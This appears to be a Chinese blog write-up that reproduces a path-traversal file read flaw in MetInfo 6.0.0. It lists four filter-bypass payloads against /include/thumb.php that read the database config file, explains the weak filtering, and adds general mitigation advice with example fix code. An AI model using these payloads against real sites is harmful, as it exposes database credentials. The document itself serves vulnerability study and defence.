metinfo 任意文件读取漏洞复现

本文对metinfo任意文件读取漏洞进行复现,针对metinfo6.0.0版本抓包,利用/include/thumb.php作为漏洞点,通过四次不同方式构造payload成功利用漏洞。还简要解释了漏洞原因,代码中对dir的过滤条件简单,可用.\绕过。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

metinfo 任意文件读取漏洞复现

抓包metinfo6.0.0版本

漏洞利用点     /include/thumb.php
第一次利用

/include/thumb.php?dir=..././http/..././config/config_db.php

第二次利用

/include/thumb.php?dir=.....///http/.....///config/config_db.php

第三次利用

/include/thumb.php?dir=http/.....///.....///config/config_db.php

第四次利用

/include/thumb.php?dir=http\..\..\config\config_db.php

成功利用漏洞

简要解释漏洞产生的原因

从代码分析得知dir直接由_GET[‘dir’]传递进来,设置了过滤条件,但是只设置了过滤"../"和“./”和请求头部是“http”开始,这样的过滤显然太简单了,我们可以用.\进行绕过构造payload。

### 任意文件读取漏洞详情 任意文件读取漏洞通常是指应用程序中存在某些功能允许攻击者通过构造特定的请求,访问或下载服务器上的任意文件。这类漏洞往往出现在处理文件读取或下载的功能模块中,尤其是在路径参数未经过严格校验的情况下。 PHP 中常见的文件读取函数包括 `readfile` 和 `file_get_contents` 等。如果这些函数的参数(例如文件路径)直接由用户输入控制,并且没有对路径进行严格的过滤和验证,则可能导致任意文件读取漏洞。例如: ```php <?php $filename = $_GET['file']; readfile($filename); ?> ``` 在上述代码中,若用户传入类似 `../../../../etc/passwd` 的路径,则可能绕过限制读取敏感文件 [^1]。 此外,一些内容管理系统(CMS)或插件也可能存在此类漏洞。例如 MetInfo 6.0.0 ~ 6.1.0 版本中的 `/app/system/include/module/old_thumb.class.php` 文件存在任意文件读取漏洞,未经身份验证的攻击者可通过该漏洞读取网站上的敏感文件 [^2]。 ### 解决方案 为了防止 PHP 应用程序出现任意文件读取漏洞,可以采取以下措施: 1. **避免直接使用用户输入作为文件路径**:尽量不要将用户输入直接用于文件操作,而是使用预定义的白名单机制来控制可访问的文件。 2. **严格校验输入路径**: - 使用正则表达式对输入进行匹配,确保其符合预期格式。 - 避免使用目录遍历字符如 `../` 或 `..\`。 - 使用 `realpath()` 或 `basename()` 等函数提取合法路径部分。 3. **设置文件访问权限**:确保应用程序只能访问指定目录下的文件,可以通过配置服务器环境变量(如 `open_basedir`)来限制 PHP 脚本能够访问的目录范围。 4. **更新和修补第三方组件**:对于使用的内容管理系统(如 WordPress、MetInfo 等),应及时更新到最新版本以修复已知的安全漏洞 [^4]。 5. **最小权限原则**:运行 Web 服务器时应使用最低权限账户,这样即使发生漏洞也不会导致整个系统被攻破。 6. **日志监控与异常处理**:记录所有可疑行为并设置警报机制,以便及时发现潜在威胁。 7. **安全编码实践**:开发过程中遵循安全编码规范,定期进行代码审查和渗透测试,提高整体安全性。 ### 示例修复代码 下面是一个简单的修复示例,展示了如何限制用户只能访问特定目录下的文件: ```php <?php $allowedPath = '/var/www/html/files/'; $userInput = isset($_GET['file']) ? $_GET['file'] : ''; // 构造完整路径 $requestedFile = realpath($allowedPath . $userInput); // 检查是否在允许的目录内 if (strpos($requestedFile, $allowedPath) === 0 && is_file($requestedFile)) { readfile($requestedFile); } else { echo "Access denied."; } ?> ``` 在此示例中,只有当请求的文件位于 `$allowedPath` 目录下时才会被读取,从而有效防止了任意文件读取攻击 。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

池央_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值